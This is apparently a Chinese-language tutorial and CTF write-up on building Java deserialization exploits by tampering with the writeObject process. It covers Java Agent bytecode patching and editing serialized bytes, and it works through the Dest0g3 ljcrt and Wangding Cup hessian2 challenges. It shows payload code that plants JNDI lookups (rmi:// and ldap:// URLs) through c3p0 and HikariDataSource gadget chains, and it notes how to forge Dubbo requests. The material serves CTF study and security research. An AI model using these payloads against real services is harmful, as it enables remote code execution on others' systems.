对writeObject流程动点手脚
字数 1670 2025-08-26 22:11:29
Java反序列化中writeObject流程的利用技巧
前言
传统Java反序列化漏洞利用通常关注readObject方法后的调用链构造,而本文重点探讨通过对writeObject流程的干预来实现漏洞利用的几种技术手段。
控制恶意数据的两种主要方法
1. 从代码逻辑入手
方法一:直接修改类代码
- 复制目标类到新类并修改相关操作
- 适用于修改流程在
writeObject所在Java文件中的情况
方法二:修改源代码重新编译
- 下载对应版本源代码
- 修改后重新编译成Jar包
- 注意点:
- 可能需要导入大量依赖
- 需注意编译和运行的Java版本一致性
方法三:使用Java Agent技术
- 学习Java Agent基础:参考链接
- 使用javassist修改字节码
- 实现步骤:
- 使用动态attach注入方法
- 编写agentmain并打包成Jar
- 修改MANIFEST.MF文件
2. 从字节数组入手(序列化数据修改)
修改序列化数据的技巧
- 分析正常序列化数据的结构
- 定位关键位置进行替换(如将0x70替换为恶意数据)
- 注意事项:
- 需要考虑偏移量问题
- 需要深入学习JRE8u20构造及相关工具
CTF实战案例解析
案例一:Dest0g3 ljcrt题目
题目特点
- 存在反序列化入口
- 过滤了"ldap"字符串
- 使用Java Agent技术进行过滤
- 存在c3p0依赖但限制reference值
漏洞利用链分析
-
PoolBackedDataSourceBase.writeObject关键逻辑:- 尝试序列化
connectionPoolDataSource属性 - 失败时进入catch块,使用
ReferenceIndirector.indirectForm处理
- 尝试序列化
-
关键点:
connectionPoolDataSource不可序列化,进入catch块- 可控制
var2但this.contextName默认为null
-
JNDI触发条件:
readObject中getObject方法要求this.contextName不为空
解决方案
- 构造初始Payload:
PoolBackedDataSource a = new PoolBackedDataSource();
a.setConnectionPoolDataSource(new PoolSource());
- 使用Java Agent动态注入:
// 修改ReferenceIndirector.indirectForm方法
ctMethod.insertBefore(String.format(
"java.util.Properties properties = new java.util.Properties();\n" +
"javax.naming.CompoundName compoundName = new javax.naming.CompoundName(\"rmi://127.0.0.1:6666/calc\",properties);" +
"this.contextName=compoundName;"
));
- 最终利用yaml依赖进行绕过
案例二:网鼎杯hessian2题目
题目分析
- 提供MyBean类(可任意调用getter方法)
- 可利用Rome反序列化特性
- 寻找hessian触发toString的调用链
Hessian2关键流程
-
readString()方法逻辑:- 读取tag值(0-255)
- tag为67时进入expect函数
-
expect()函数行为:- 调用
readObject() - 触发对象的
toString()方法
- 调用
-
利用链:
toString()→getConnection2JNDI→PoolBase→ JNDI注入
解决方案
- 构造恶意Hessian2序列化数据:
HikariDataSource ds = new HikariDataSource();
ds.setDataSourceJNDI("ldap://url:port/Basic/Command/calc");
Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
out.writeObject(new MyBean("", "", ds, HikariDataSource.class));
- 关键修改点:
- 在
writeString中设置this._buffer[0] = 67 - 确保
this._buffer[1] = 67 - 保持其他数据处理正常
- 在
高级技巧:Hessian2后的利用
Dubbo安全中的Hessian2利用
- 序列化对象得到byte数组
- 修改布尔值属性对应的tag
- 使用binding恶意对象覆盖值
- 注意事项:
- 直接修改值可能导致
readObject()失败 - 需要精确控制序列化过程
- 直接修改值可能导致
Dubbo请求构造要点
- Magic固定为0xdabb
- Serialization ID为特定标记组合
- Request ID随机生成
- Data Length正确设置
总结
通过对writeObject流程的干预,可以实现多种Java反序列化漏洞利用场景。关键点包括:
- 代码修改的多种方式选择
- 序列化数据的精确控制
- 特定框架(如Hessian2、Dubbo)的利用技巧
- Java Agent技术的灵活应用
这些技术需要结合具体环境和目标特性进行灵活运用,同时需要深入理解Java序列化机制和各个框架的实现细节。